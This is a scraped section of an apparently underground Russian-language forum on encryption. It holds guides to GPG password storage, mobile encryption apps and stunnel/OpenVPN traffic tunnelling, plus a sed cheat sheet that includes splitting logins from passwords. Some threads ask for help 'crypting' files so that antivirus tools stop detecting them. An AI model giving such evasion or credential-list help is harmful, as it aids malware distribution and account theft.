  3. Официальный FAQ cryptsetup (краткая документация по настройке шифрования GNU/Linux с помощью cryptsetup)
  4. Шифрование устройства LUKS (archlinux-документация)
  5. Подробное описание синтаксиса cryptsetup (страница руководства arch)
  6. Подробное описание crypttab (страница руководства arch)
  7. Официальная документация GRUB2.

Метки: полное шифрование диска, шифрование раздела, полнодисковое шифрование Linux, полное системное шифрование LUKS1.

Пасхалка

Автор: ne555
взято с habr.com

Пароли под защитой GPG
ID: 676536fbb4103b69df3738c1
Thread ID: 34161
Created: 2020-01-02T14:59:41+0000
Last Post: 2020-01-02T14:59:41+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Предисловие

Хранить пароли в гугл-хроме очень удобно. Можно залогиниться с любого устройства под своим аккаунтом и получить доступ ко всем сайтам и паролям. Круто? Круто.
До тех пор, пока вы не поймаете стилер.

Проприетарные менеджеры так же удобны. Но концепция хранения моих паролей где- то там, на каких-то серверах меня не впечатляет.
А мы сегодня будем использовать связку gpg + pass + browserpass.

Установка и настройка

Устанавливаем пакеты:

Bash:Copy to clipboard

sudo apt install gpg
sudo apt install pass
sudo apt install qtpass

gpg чаще всего уже предустановлен.
pass будет надёжно хранить наши пароли.
qtpass предоставит нам удобный графический интерфейс.

Для начала нам нужно сгенерировать новый gpg ключ.

Bash:Copy to clipboard

gpg --full-generate-key

На создании ключа я не буду долго останавливаться, всё делается по методу далее-далее. Мыло и идентификатор никто проверять не будет.

После этого необходимо инициализировать pass
Для начала смотрим id нашего саб-ключа

Bash:Copy to clipboard

gpg -k --keyid-format long

На выходе получим что-то типо

Code:Copy to clipboard

/home/user/.gnupg/pubring.kbx
-----------------------------
pub   rsa3072/074059C5D078BB05 2019-12-27 [SC]
      58C3A7D48E1EF82933986FD6074059C5D078BB05
uid                 [ultimate] testt
sub   rsa3072/CE4F8F8052CFF9AA 2019-12-27 [E]

Где CE4F8F8052CFF9AA - идетификатор саб-ключа. У вас он будет другим.
Инициализируем им pass

Bash:Copy to clipboard

pass init CE4F8F8052CFF9AA

Управление паролями

Теперь добавим новый пароль. Это можно сделать 2-я способами.
1. Через командную строку, используя pass insert [сайт.ру]. Можно использовать параметр -m для мультистрочного ввода.
Пример:

Code:Copy to clipboard

pass insert -m test.com
Enter contents of test.com and press Ctrl+D when finished:

login:user
password:pass

Что бы посмотреть пароль, используем

Bash:Copy to clipboard

pass show test.ru

2. Через qtpass. Первый раз при запуске он ругднётся, нам нужно бщует выбрать "Use pass". При создании пароля в качестве имени файла надо указать домен сайта, например "mail.ru". Советую сразу задать шаблон в настройках.

Вы скажите... YMainErr, это же жуткий гемор так просматривать пароли. Да, но зато всё секьюно :D

Экспорт-импорт-бекап

Зашифрованные файлы с паролями будут храниться тут:
/home/user/.password-store/

Экспорт открытого и приватного ключей, а так же импорт:

Bash:Copy to clipboard

gpg --export-secret-keys CE4F8F8052CFF9AA --armor --output key-private.txt
gpg --armor --export CE4F8F8052CFF9AA  --output key-public.txt
gpg --import key.txt

Приватный ключь нужен будет для расшифровки наших паролей, а публичный - для шифрования.

Браузер

Ладно, действительно копировать ручками не удобно. Поэтому поставим расширение для браузера и gui для ввода пароля от ключа.

Code:Copy to clipboard

sudo apt install webext-browserpass
sudo apt install pinentry-gtk2

Перезапускаем браузер, если расширение не появилось - ищем его в магазине под названием browserpass

Добавляем пароли, переходим на сайт и жмакаем Ctrl+Shift+F

Must die

Можно ли экспортировать пароли под винду? Да, конечно.
Устанавливаем: Gpg4win - Secure email and file encryption with GnuPG for Windows
Экспортируем закрытый ключ (или оба, если планируем добавлять пароли из под форточек). Импортируем под виндой в клеопатру.
Копируем файлы *.gpg из /home/user/.password-store/ в куда-нибудь.
Устанавливаем последний *.msi отсюда: browserpass/browserpass- native
Устанавливаем плагин для браузера - Browserpass

Как всё это синхронизировать - решайте сами.

Tor browser

При использовании тор-браузера вас ожидают некоторые подводные камни. Например в линукс нужно будет сделать:

Code:Copy to clipboard

cp /home/user/.gnupg/pubring.kbx /home/user/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/.gnupg/

А под виндой вам нужно будет положить файлики с паролями (*.gpg) в папку "пользователь/.password-store/"
Т.к. настройки плагина вам не даст поменять NoScript

Android и немного синхронизации

Под телефон тоже можно. Но один хороший человек уже выложил видеоинструкцию и рассказал про синхронизацию через git, повторяться не буду:

В заключении:
Теперь, что бы спереть ваши пароли понадобится не только badusb, но специально обученный файловый стилер и кейлоггер (или пояльник). GLHF

Автор @YMainErr
взято с codeby

Cipher Pro - взломостойкая программа симметричного шифрования
ID: 676536fbb4103b69df3738c6
Thread ID: 33899
Created: 2019-12-17T20:22:01+0000
Last Post: 2019-12-17T20:22:01+0000
Author: tabac
Prefix: Видео
Replies: 0 Views: 2K

Cipher Pro - взломостойкая программа симметричного шифрования, использующая алгоритм подстановки и 3 ключа. Может шифровать текст вводимый с клавиатуры, и текстовые файлы формата txt. На вход могут подаваться символы состоящие из русско-английского алфавита и спецсимволы. На выходе зашифрованный текст китайско-японскими иероглифами.

Шифрование мобильного (Android и iOS)
ID: 676536fbb4103b69df3738c7
Thread ID: 31435
Created: 2019-08-30T13:30:52+0000
Last Post: 2019-12-15T12:50:34+0000
Author: tabac
Replies: 4 Views: 2K

Сегодня мы поговорим про шифрование данных на мобильных устройствах. Независимо от того, чем вы занимаетесь, защита личных данных важна. Особенно, важна для дарк сферы.

Шифрование данных на Android
На данный момент в Google Play доступны следующие программы для шифрования:

  • LUKS Manager;
  • EDS Lite;
  • Cryptonite;
  • CyberSafe Mobile.

Первая программа —LUKS Manager****. Является старейшей программой шифрования файлов в Android. Программа использует алгоритм шифрования AES, а само шифрование происходит «на лету». При этом поддерживаются файловые системы ЕХТ2/4 и FAT32. Размер зашифрованного контейнера не ограничивается (разве что только размером памяти телефона).

![Шифрование данных на Андроид:](/proxy.php?image=http%3A%2F%2Fwww.spy- soft.net%2Fwp-content%2Fuploads%2Fshifrovanie-dannyx- android-2.jpg&hash=3467b9714b099f570c98116649f87fac)
LUKS Manager

К преимуществам программы можно отнести шифрование «на лету» и простоту использования (работа с зашифрованными контейнерами осуществляется как с обычными папками).

К недостаткам можно отнести тот факт, что программа требует прав root для своей работы. Также программа не поддерживает контейнеры TrueCrypt, которые стали сейчас практически стандартом де-факто. Очень удобно было бы создать на компьютере зашифрованный контейнер, поместить его на флешку, а затем при необходимости — на мобильный телефон, где можно было бы работать с ним как с обычной папкой.

Вторая программа,EDS Lite, хоть и молодая, но очень перспективная. Во-первых, для ее работы не нужны права root, что очень важно для многих пользователей. Во-вторых, программа поддерживает контейнеры TrueCrypt, а как мы знаем, программа TrueCrypt сейчас работает на всех основных настольных платформах.

![Шифрование данных на Андроид](/proxy.php?image=http%3A%2F%2Fwww.spy- soft.net%2Fwp-content%2Fuploads%2Fshifrovanie-dannyx- android.png&hash=e908012831aefe06bb02a396877da148)
EDS Lite

Но программа не идеальна. Шифрование осуществляется не «на лету» и с зашифрованным контейнером нельзя работать как с обычной папкой. Однако есть встроенный файловый менеджер, который поддерживает все операции над файлами. Например, вы можете создать зашифрованный контейнер в EDS Lite или в TrueCrypt, открыть его во встроенном файловом менеджере программы и скопировать в него все файлы, которые нужно зашифровать. Не очень удобно (нельзя использовать сторонние файловые менеджеры вроде ES Проводник), но работать можно. Плохо, что остальные программы не поддерживают эти контейнеры. Например, вы создаете документ в текстовом редакторе, и чтобы он был зашифрован, вам нужно явно поместить его в контейнер. Аналогично, чтобы прочитать его, его нужно явно скопировать на карту памяти. Шифрования/дешифрования «на лету» очень не хватает этой программе. Зато поддерживаются два алгоритма шифрования — AES 256 и SHA-512.

ПрограммаCryptonite довольно молода и находится на стадии тестирования. Использовать ее на практике я бы пока не стал, зато она будет поддерживать облачные диски, что очень немаловажно сейчас, когда пошла мода на облачные технологии.

![Шифрование данных на Андроид](/proxy.php?image=http%3A%2F%2Fwww.spy- soft.net%2Fwp-content%2Fuploads%2Fshifrovanie-dannyx- android-3.jpg&hash=ba15de770631629b5a7d3d547c0edbc7)
Cryptonite

Существенный недостаток этой программы — то, что она требует от ядра Android поддержки Kernel FUSE, а такая поддержка есть не в каждом телефоне.

ПриложениеCyberSafe Mobile существенно превосходит по функционалу EDS Lite, но обо всем по порядку. Конек приложения — это даже не сами криптоконтейнеры, а возможность их синхронизации с Google Drive, что позволяет работать с одним и тем же набором данных на разных устройствах. Подробно о шифровании облака этим приложением мы поговорим в следующей статье, пока не будем на этом останавливаться.

![Шифрование файлов на Андроид](/proxy.php?image=http%3A%2F%2Fwww.spy- soft.net%2Fwp-content%2Fuploads%2Fshifrovanie-fajlov- android.jpg&hash=9aa4cd8d911d9e70799cd6370b341f4c)
CyberSafe Mobile

Само приложение не требует для своей работы прав root, но до того момента, как вы не надумаете подмонтировать контейнер к какой-то папке. Помните, я говорил о возможности подмонтировать сейф к папке DCIM или папке приложения? Это возможно осуществить средствами CyberSafe Mobile, но вам понадобятся права root.

Кроме этого приложение позволяет обмениваться зашифрованными файлами с другими пользователями и позволяет шифровать произвольные папки на Google Drive. Впрочем, для каждой бочки меда можно найти ложку дегтя. Приложение платное. А его бесплатная версия ограничивает максимальную длину пароля всего в 2 символа, что, сами понимаете, очень мало. С другой стороны, приложение стоит совсем недорого (дешевле 3$) и оно ограничивает пароль не при открытии контейнера, а только при создании. То есть если вам нужно использовать приложение с одним и тем же набором данных на разных устройствах, то вы можете создать контейнер на одном устройстве и скопировать его на другое, а программу купить только на одном устройстве (на котором будете создавать контейнер).

Какое приложение выбрать?
Ответ прост. Если вы на персональном компьютере используете TrueCrypt, то выбор очевиден — EDS Lite. Если вы хотите обеспечить шифрование облака, то, судя по всему, на компьютере придется перейти на CyberSafe.

**Шифрование данных в iOS

1. PGPFiles.** Кроссплатформенное приложение,которое шифрует и дешифрует данные также на Android & Windows. Возможность сразу передовать файлы между пользователями в самой программе. Интерфейс удобный даже для начинающего пользователя. Tакже можно добавлять собственные ключи шифрования.
3dae001e6055f27b62964.png

2. Встроенное шифрование iOS

1. Откройте приложение Settings
2. Нажмите Touch ID & Passcode
3. Для выбора свойств вашего пароля, выберите Passcode Options, и Custom Alphanumeric Code. Выбираем Immediately в разделе Require passcode. Это не позволит устройству оставаться разблокированным, когда им не пользуться.

Когда вы создадите свой пароль, пролистайте страницу с настройками пароля до конца. И увидите статус "Data protection is enabled"

Как видим, шифрование на устройствах Android гораздо надёжнее чем на iOS.

Добавляйте свои варианты!

WinLicense. Ищу спеца.
ID: 676536fbb4103b69df3738ca
Thread ID: 33521
Created: 2019-11-27T23:56:53+0000
Last Post: 2019-11-28T14:18:33+0000
Author: n1ppyyyy
Replies: 3 Views: 2K

Двое суток я сижу и миксую виртуалки и балуюсь с рычагами))
Как итог - фуда нет, да хотя бы чтобы нормальные ав не палили (все что у меня вышло, это 4 детекта. Касперский, Авира и еще два неизвестных мне)
Кто понимает, какие параметры отвечают за детект, какие виртуалки лучше всего использовать - буду рад впитать ваши знания))
ps
сори за оффтоп, ну реально уже мозги плывут.

Срочно помогите
ID: 676536fbb4103b69df3738ce
Thread ID: 33046
Created: 2019-11-06T18:20:02+0000
Last Post: 2019-11-06T19:53:19+0000
Author: IHYS
Replies: 4 Views: 2K

Привет, всем ребят срочно помогите ,я надеялся что с прогой закриптую файл на нифига он как бы криптуеться но анти вирус его детектит , что делать мне надо закриптоватб файл за 1 час через winrar тоже не работает, не закриптую выгонят из коллектива

Простые рецепты для выборочного шифрования трафика в Linux
ID: 676536fbb4103b69df3738cf
Thread ID: 32883
Created: 2019-10-31T21:37:09+0000
Last Post: 2019-10-31T21:37:09+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Есть много способов обойти региональные блокировки и обеспечить анонимность. Такие термины, как TOR, VPN, прокси, у всех на слуху. Чтобы подключить и настроить их, не требуется специальных знаний, но существуют и более изящные решения. Сегодня я расскажу о методике обхода блокировок в Linux с маскировкой трафика и покажу несколько скриптов для автоматизации этого. Их можно без труда перенести на Raspberry Pi, чтобы сделать умный маршрутизатор.

Linux предоставляет огромный набор функций для маршрутизации и инструментов ее конфигурирования. Опытные сисадмины знают об этом и используют арсенал Linux на полную катушку. Но и многие даже продвинутые пользователи не догадываются, сколько удобства могут принести все эти замечательные возможности. Сегодня мы создадим таблицы маршрутизации и опишем правила прохода по ним, а также автоматизируем администрирование этих таблиц. Итак, наши творческие планы:

  • определимся с тем, что нам требуется: установим необходимые пакеты и разберемся, зачем они нужны;
  • изучим общий принцип работы связки;
  • настроим защищенный канал VPN с использованием OpenVPN + stunnel;
  • составим списки адресов и опишем области их применения;
  • создадим скрипт для быстрого добавления домена или IP-адреса в списки IPSet с добавлением в таблицу маршрутизации и включением в правила перенаправления;
  • используем SSH для предоставления безопасного канала связи в эти ваши интернеты.

Немного теории
Что нам понадобится, чтобы все работало, и желательно — комфортно? Само собой, iptables, куда же без него. Еще iproute2, он и позволит нам насоздавать кучу таблиц. IPSet потребуется для того, чтобы не городить огород из множества правил iptables.

Что есть что

  • iptables — утилита командной строки. Базовое средство управления работой файрвола для ядер Linux.
  • iproute2 — набор утилит для управления параметрами сетевых устройств в ядре Linux.
  • IPSet — инструмент для работы со списками IP-адресов и сетевых портов в сетевом фильтре. Формирует список в специальном формате для передачи файрволу.
  • stunnel — инструмент организации шифрованных соединений для клиентов или серверов, которые не поддерживают TLS или SSL. Stunnel перехватывает незашифрованные данные, которые должны были отправиться в сеть, и шифрует их. Программа работает как в Unix-системах, так и в Windows. В качестве шифрования использует OpenSSL для реализации базового протокола TLS и SSL.
  • OpenVPN — VPN-сервер с поддержкой шифрования библиотекой OpenSSL. Клиентские части доступны практически на всех платформах. Умеет работать через прокси типа Socks, HTTP, через NAT и сетевые фильтры.

Про все эти утилиты можно отыскать много информации в интернете, причем с примерами настроек в самых разных вариантах. Мы станем использовать iptables для маркировки пакетов. У нас будут два варианта настройки. Первый — когда машина, на которой выполняется обход, сама подключена к VPN. Второй вариант — когда в сети находится узел (виртуалка, Raspberry Pi или любой другой хост с Linux), играющий роль маршрутизатора. Далее мы разберем эти варианты чуть подробнее.

Коротко о двух вариантах
Клиент и сервер будут устанавливать зашифрованный канал связи по 443-му порту (stunnel) и передавать внутри OpenVPN по 995-му порту. Снаружи это должно выглядеть как обычный HTTPS.

![Иллюстрация работы stunnel + OpenVPN](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F10%2F244018%2F1.png&hash=6c23da6f8af72cd4980bbacaf405b842)
Иллюстрация работы stunnel + OpenVPN

И вот тут можно реализовать две схемы подключения.

Вариант 1. На клиентской машине iptables будет маркировать пакеты неким флагом, если адреса в пакетах и списках IPSet совпадут, и передавать их для маршрутизации.

Далее помеченные флагом пакеты будут отправлены по заранее созданной таблице маршрутизации, остальные пойдут по маршруту, заданному по умолчанию. С помощью консоли или небольшого скрипта мы поправим этот список адресов. В зависимости от ситуации списков может быть несколько.

Вариант 2. В качестве клиента выступит хост в локальной сети (виртуалка, Raspberry Pi или какое-нибудь другое устройство). Он будет указан в качестве основного шлюза на компьютерах, с которых нужен доступ к ресурсам через VPN. Получив запрос для IP-адреса из списка, шлюз включит NAT и отправит такой трафик в VPN. Остальной трафик будет маршрутизироваться до шлюза по умолчанию без NAT.

Для Linux-систем мы можем оставить шлюз по умолчанию и установить у себя IPSet и iproute2, а потом настроить их аналогично настройкам «промежуточного» хоста- маршрутизатора. В этом случае на уровне клиента будет отбираться трафик по тому же списку IPSet. То есть то, что в списке, будет отправляться на промежуточный хост-маршрутизатор и далее в VPN. Остальное будет маршрутизироваться по умолчанию.

Реализация

Предположим, что где-то далеко в облаке у нас уже есть VPS-сервер с Ubuntu или Debian. В других дистрибутивах отличия будут, скорее всего, только в установке необходимых пакетов. Этот хост в нашей конфигурации будет использоваться в качестве сервера VPN. Рекомендаций, какой VPS лучше использовать, в интернетах полным-полно — на разный бюджет, с разными конфигурациями и условиями.

Устанавливаем на сервере OpenVPN, stunnel, git:

Code:Copy to clipboard

sudo apt install openvpn stunnel4 git

Далее воспользуемся готовым скриптом для настройки сервера OpenVPN. Можно, конечно, настроить все вручную, и я советую поступить именно так. Информацию о том, как правильно сконфигурировать OpenVPN, нетрудно отыскать в Сети. Но если нужно получить результат очень быстро и тебе лень возиться, то вот решение.

Code:Copy to clipboard

git clone https://github.com/Nyr/openvpn-install.git
cd openvpn-install
sudo ./openvpn-install.sh

Получаем скрипт установки и запускаем его. Он поможет нам создать пользовательские ключи и сертификаты, если нужно — изменить адресацию сети. Все очень доступно и понятно. На выходе для каждого пользователя мы получим один файл, внутри которого будет конфигурационный ключ и сертификаты (сервера и пользователя). Передаем этот файл на клиент.

Открываем конфигурационный файл сервера OpenVPN и правим его. Выбираем нужный порт — тот, который на сервере будет свободен для подключения. Порт лучше использовать более-менее неприметный (я выбрал 995-й, обычно почтовые порты оставляют открытыми), чтобы клиент мог гарантированно подключиться к VPN- серверу.

Вот как будет выглядеть наш конфиг:

Code:Copy to clipboard

port 443
proto tcp
dev tun0
sndbuf 0
rcvbuf 0
ca ca.crt
cert server.crt
key server.key
dh dh.pem
auth SHA512
tls-auth ta.key 0
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"
push "route 10.8.0.0 255.255.255.0"
route 192.168.31.0 255.255.255.0
keepalive 10 120
cipher AES-256-CBC
user nobody
group nogroup
persist-key
persist-tun
status openvpn-status.log
verb 3
crl-verify crl.pem

Следующим шагом настроим stunnel:

Code:Copy to clipboard

sudo nano /etc/stunnel/stunnel.conf

output = /var/log/stunnel.log
[openvpn]
client = no
accept = 443
connect = localhost:443
cert = /etc/stunnel/stunnelsrv.pems

Тут все просто:

  • описываем, куда будут сохраняться логи;
  • указываем название сервиса в произвольной форме;
  • выбираем, в каком режиме работает устройство: сервера или клиента. В данном случае client = no указывает на режим сервера;
  • accept = 443 указывает порт, к которому будем подключаться снаружи (443-й порт выбран не просто так — в 99% случаев он всегда открыт, проще прикинуться обычным HTTPS, и нас не заметят даже при DPI).

Генерируем ключи и сертификаты для stunnel:

Code:Copy to clipboard

sudo openssl req -nodes -new -days 365 -newkey rsa:1024 -x509 -keyout stunnelsrv.pem -out stunnel.pem

На этом этапе важно помнить, что у нас на стороне сервера работают OpenVPN на порте 995, proto tcp, dev tun0 и stunnel на порте 443. Все остальные настройки — стандартные.

Переходим к клиенту:

Code:Copy to clipboard

sudo apt install iproute2 ipset stunnel4 git openvpn

Все, что нужно, поставили, теперь настраиваем stunnel на стороне клиента:

Code:Copy to clipboard

output = /var/log/stunnel.log

[openvpn]
client = yes
accept = 127.0.0.1:995
connect = IP:443

cert = /etc/stunnel/stunnel.pem

Здесь мы указываем, куда выводить логи, режим клиента включен. С помощью директивы accept мы говорим, на какой адрес и порт передавать соединение и куда, собственно, подключаться клиенту stunnel (опция connect). Ну и какой сертификат использовать.

Передаем файл клиента OpenVPN с сервера. Проверяем настройки: используется порт 995, proto tcp, dev tun0. Очень важный момент: нам нужно объявить маршрут до нашего VPS через шлюз по умолчанию. Иначе получится, что stunnel установит соединение, потом подключится VPN и попытается все перенаправить в туннель, но stunnel уже не сможет работать, так как хост и порт будут недоступны. Также отключаем перенаправление всего трафика в VPN, проверяем адрес подключения и порт. Адрес VPN-сервера в конфиге будет 127.0.0.1 — то есть localhost. Подразумевается, что stunnel уже пробросил нужный порт клиента. Должно получиться примерно следующее:

Code:Copy to clipboard

client
dev tun
proto tcp
sndbuf 0
rcvbuf 0
remote 127.0.0.1 995
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
auth SHA512
cipher AES-256-CBC
setenv opt block-outside-dns
key-direction 1
#redirect-gateway def1
pull-filter ignore redirect-gateway
#добавляем в конфиг OpenVPN клиента белый IP-адрес VPN-сервера
route IP 255.255.255.255 net_gateway
#ip route add table obhod default dev tun0
verb 3

Итак, на сервере и клиенте установлены и настроены OpenVPN и stunnel. Безопасное соединение установлено. Дальше будем рассматривать каждый вариант по очереди.

Вариант 1: клиент VPN на машине пользователя

Первым делом создадим список IP-адресов, который будем использовать далее:

Code:Copy to clipboard

sudo ipset -N vpn iphash

Добавим в него один адрес для тестов:

Code:Copy to clipboard

sudo ipset -A vpn 8.8.8.8

Теперь нам необходимо маркировать пакеты с адресами назначения, которые совпадают со списком.

Code:Copy to clipboard

sudo iptables - OUTOUT -t mangle -m set --match-set vpn dst -j MARK --set-mark (1 или 0x1)

В результате наших действий iptables при совпадении в адресе назначения и адресе из списка IPSet начнет маркировать такой трафик. Дальше создадим новую таблицу маршрутизации, для этого пропишем ее в файле /etc/iproute2/rt_tables с очередностью выше, чем default (253):

Code:Copy to clipboard

252     vpn

Теперь надо создать правило и маршрут для маркированных пакетов.

Code:Copy to clipboard

sudo ip rule add table vpn prio 1000 fwmark (1 или 0x1)
sudo ip route add table vpn dev tun0 default

Не забываем включить rp_filter для обеспечения асимметричной маршрутизации и разрешаем переброс пакетов между интерфейсами, на случай если кому-то нужно будет предоставить доступ к закрытым ресурсам в локальной сети.

Code:Copy to clipboard

sudo sysctl net.ipv4.tcp_fwmark_accept=1
sudo sysctl net.ipv4.conf.all.rp_filter=2
sudo net.ipv4.ip_forward=1

Теперь включим NAT для трафика, который направляется в VPN.

Code:Copy to clipboard

sudo iptables -t nat -I POSTROUTING -o tun0 -j MASQUERADE

Если нужно предоставить доступ из локальной сети через свой VPN, правило iptables нужно немного подправить, а именно перенести в другую цепочку.

Code:Copy to clipboard

sudo iptables -I PREROUTING -t mangle -m set --match-set tovpn dst -j MARK --set-mark 0x1

В итоге у нас получается, что все адреса из списка IPSet VPN идут через безопасное соединение, остальные направляются через маршрут по умолчанию.

Вариант 2: клиент VPN на маршрутизаторе
Теперь рассмотрим случай, когда VPN-соединение у нас выполняет не клиентская машина, а некий узел в сети и все настроено на нем аналогично примеру выше. Тогда нам нужно либо указать этот узел в качестве шлюза по умолчанию, либо установить на клиентской машине IPSet и iproute2 и правильно ее настроить.

В этом случае сработают локальные IPSet и iproute2 и направят на промежуточный сервер-маршрутизатор пакет, а тот сверит адрес назначения со своим списком IPSet и, если обнаружит совпадение, отправит пакет в VPN, если совпадения не найдет — перешлет на шлюз по умолчанию.

Неудобство такого приема состоит в том, что нужно дважды вносить IP-адреса в списки. Сначала на сервере-маршрутизаторе, а второй раз — в свой локальный список IPSet. Зато это позволяет более гибко пользоваться маршрутизацией.

Стоит также отметить еще один вариант, о котором не говорилось выше. Можно установить на сервер-маршрутизатор VPN-клиент и stunnel, а потом убрать из конфига строку pull-filter ignore redirect-gateway. Тогда весь полученный трафик будет завернут в VPN-туннель. Останется лишь локально вести IPSet для направления нужного трафика через разные шлюзы.

IPSet
Списки IPSet очень удобно использовать, если нужно быстро разрешить либо запретить входящие или исходящие соединения на сервер. Так, например, многие реализуют географическую фильтрацию: проще один раз занести все в списки и одним правилом запретить весь входящий трафик отовсюду, кроме этого списка. Например:

Code:Copy to clipboard

sudo iptables -A INPUT -m set --match-set !RU src -j DROP

Это правило заблокирует все входящие соединения, кроме адресов из списка ipset RU.

IPSet, как видишь, удобный инструмент, который значительно сокращает таблицу правил iptables. В частности, хорошо бывает объединять в отдельные списки сети серверов, адреса админов, остальных пользователей и так далее. А потом уже разом запрещать доступ одним и разрешать другим.

Автоматизация после сбоев/перезагрузок
Чтобы не потерять все настроенные нами параметры, добавим в crontab периодическое сохранение правил IPSet и iptables.

Code:Copy to clipboard

sudo crontab -e

# Каждую первую минуту каждого часа, то есть раз в час
1 * * * * /bin/bash root ipset save > /opt/ipset.rules
1 * * * * iptables-save root > /opt/firewall.rules

И в /etc/rc.local добавим восстановление:

Code:Copy to clipboard

ipset restore < /opt/routers/ipset.rules
iptables-restore < /opt/routers/iptables.rules

А теперь напишем скрипт, который будет обходить правила iprule и iproute и в случае, если чего-то не хватает, допишет недостающее. Скрипт можно сделать демоном, чтобы он постоянно висел в памяти и мониторил состояние системы, а можно запускать только при старте ОС. В целом второго варианта вполне достаточно.

Исходный код скрипта check ты найдешь в архиве по ссылке в конце статьи, а общий его смысл такой: проверяем таблицу маршрутизации и, если маршрута нет, добавляем его. Потом ту же проверку выполняем с правилом таблицы. Затем смотрим правило iptables, которое маркирует пакеты.

Напоследок напишем скрипт, который позволит нам более удобно добавлять IP- адреса в списки IPSet, чтобы каждый раз не ломиться в консоль. Этот скрипт выглядит так:

Code:Copy to clipboard

#!/bin/bash

test=$(zenity --entry --title="Добавление адреса в ipset списки " --text="Введите адрес ip или домена")
initip=$(dig +short "$test" -u 1.1.1.1)

if [ ! -n "$initip" ]; then
zenity --password --title="Введите пароль администратора" | sudo -S ipset -exist -A vpn "$test"
echo "$test" >> /opt/iptovpn.txt
else
zenity --password --title="Введите пароль администратора" | sudo -S ipset -exist -A vpn "$initip"
echo "$initip" >> /opt/iptovpn.txt
fi

sudo ipset save > /opt/ipset.rules

При запуске мы вводим имя домена или сразу IP-адрес. Скрипт переварит и то и другое, после чего и запихает IP в список IPSet.

Также в архиве ты найдешь скрипт add_in_file, который читает файл со списком доменов, получает IP и складывает в списки IPSet.

Заключение

Итак, что у нас получилось? А вот что. Мы подняли зашифрованный, «белый» с точки зрения провайдера канал HTTPS. Внутри у него ходит наш OpenVPN. Клиент заворачивает туда то, что нам нужно, и не отправляет того, что не нужно. В принципе, можно написать еще пару правил iptables, в которых указано, кому дозволено ходить по адресам из заданного списка, а кому нет. Можно указать источники запросов для большей безопасности и для того, чтобы туда, не дай бог, не залез любознательный пользователь. Это реализуется с помощью второго списка IPSet, где придется вбить доверенные хосты, которые будут пользоваться доступом.

При желании всю эту не слишком навороченную архитектуру можно развернуть на Raspberry Pi с «Линуксом» и таскать его с собой в качестве маленького маршрутизатора. Он где угодно обеспечит тебе надежное, безопасное и шифрованное соединение, до которого не доберется ни один товарищ майор.

Автор Александр «Plus» Рак
хакер.ру

RTEA 256
ID: 676536fbb4103b69df3738d0
Thread ID: 32767
Created: 2019-10-27T09:29:15+0000
Last Post: 2019-10-28T11:41:01+0000
Author: Crypto Locker
Replies: 6 Views: 2K

C++:Copy to clipboard

// зашифровка

for (r=0;r<64;r++)
{
 b+=a+((a<<6)^(a>>8))+ (key[r%8]+r);
 r++;
 a+=b+((b<<6)^(b>>8))+ (key[r%8]+r);
}


// расшифровка

for (r=63;r>=0;r--)
{
 a-=b+((b<<6)^(b>>8))+ (key[r%8]+r);
 r--;
 b-=a+((a<<6)^(a>>8))+ (key[r%8]+r);
}
Это вообще реально? (криптер и многое другое)
ID: 676536fbb4103b69df3738d2
Thread ID: 32751
Created: 2019-10-26T04:15:11+0000
Last Post: 2019-10-26T06:39:58+0000
Author: Dtramp
Replies: 4 Views: 2K

You must spend at least 90 day(s) on the forum to view the content.

You must have at least 150 message(s) to view the content.

Это вообще реально?

может кто то пользуется уже?

Справка для работы со словарями , текстом в Linux
ID: 676536fbb4103b69df3738d3
Thread ID: 32559
Created: 2019-10-17T11:42:36+0000
Last Post: 2019-10-18T18:28:40+0000
Author: aka_google
Prefix: Статья
Replies: 4 Views: 2K

sed 's|@.||' отделить логины от паролей
sed 's|.
@||' отделить пароли от логинов
sed -i 1,21983652d вырезать строки с 0 по 1
sed -i s/$/\00/g подставить символы в конец каждой строки
sed -i s/^/\8/g подставить символы в начало каждой строки
sed -e 's/^.//' удалить первый символ в каждой строке
sed 's/^\(.\).$/\1/' удалить последний символ в каждой строке
sed -i '/00/d' удалить строки содержащие 00
sed -i '/abcdef/ s///g' удалить строки содержащие abcdef
sed 's/www\.//g' удалить строки содержащие www.
sed 's/^[ \t]
//' удалить пробелы и символы в начале каждой строки
sed 's/[ \t]$//' удалить пробелы и символы в конце каждой строки
sed 's/^[ \t]
//;s/[ \t]$//' удалить пробелы и символы в начале и конце строки
sed ':BEGIN;s/^\([^ ]\{0,29\}\) /\1/;tBEGIN' удалить пробелы из первых 30 символов строки
sed '/^$/d' удалить пустрые строки из файла
sed -n '/^.\{8\}/p' удалить строки имеющие меньше X символов
sed -n '/^.\{18\}/!p' удалить строки имеющие больше X символов
sed 's/ \{1,\}/ /g' удалить двойные пробелы внутри строки
sed 's/^\(..\)/\1$/' вставить символ $ в N позицию каждой строки
sed '1~2d' удалить каждую вторую строку
sed 's#^\(..\)#\1/#' вставить слэш в третью позицию каждой строки
sed 's/^\(..\)/\1\/' вставить обратный слэш в третью позицию строки
sed '/\n/!G;s/\(.\)\(.
\n\)/&\2\1/;//D;s/.//' перевернуть каждую строку задом наперед
sed -r '/^[0-9]{1,}$/!d' удалить всё кроме строк с только цифрами
perl -ne 'print $_ unless /^\d+[\r\n]$/' удалить все строки содержащие только цифры
sed -r '/^[0-9]+$/d' удалить все строки содержащие только цифры
sed -r '/[bcdfghjklmnpqrstvwxyz]{4,}/Id' удалить строки содержащие 4 согласных подряд
sed -r '/[aeiou]{3,}/Id' удалить строки содержащие 4 гласных подряд
sed -e s/$/
/g заменить $ на *
sed 's/944/(944)/' заменить 944 на (944)
sed s/\//g удалить * из строк
sed '/^[\t\n\r -~]
$/!d' удалить строки с непечатаемыми символами
sed -e 's/[^a-z]//g' вырезать цифры из строк и строки только с цифрами
cut --complement -b '7' удалить символ в конкретной позиции каждой строки
cut --complement -b '4-8' удалить символы с 4 по 8 позицию каждой строки
perl -pe 'undef $_ if / (..) .* \g1+ /x' удалить строки с повтором символов более 4 подряд
sed 's/[0-9]$//' удалить цифры в конце строк
sed 's/^[0-9]
//' удалить цифры в начале строк
sed 's/^[0-9]//;s/[0-9]$//' удалить цифры в начале и конце строк
sed 's/\xEF\xBB\xBF//' удалить
sed 's/'"$(printf '\015')"'$//g' удалить ^M
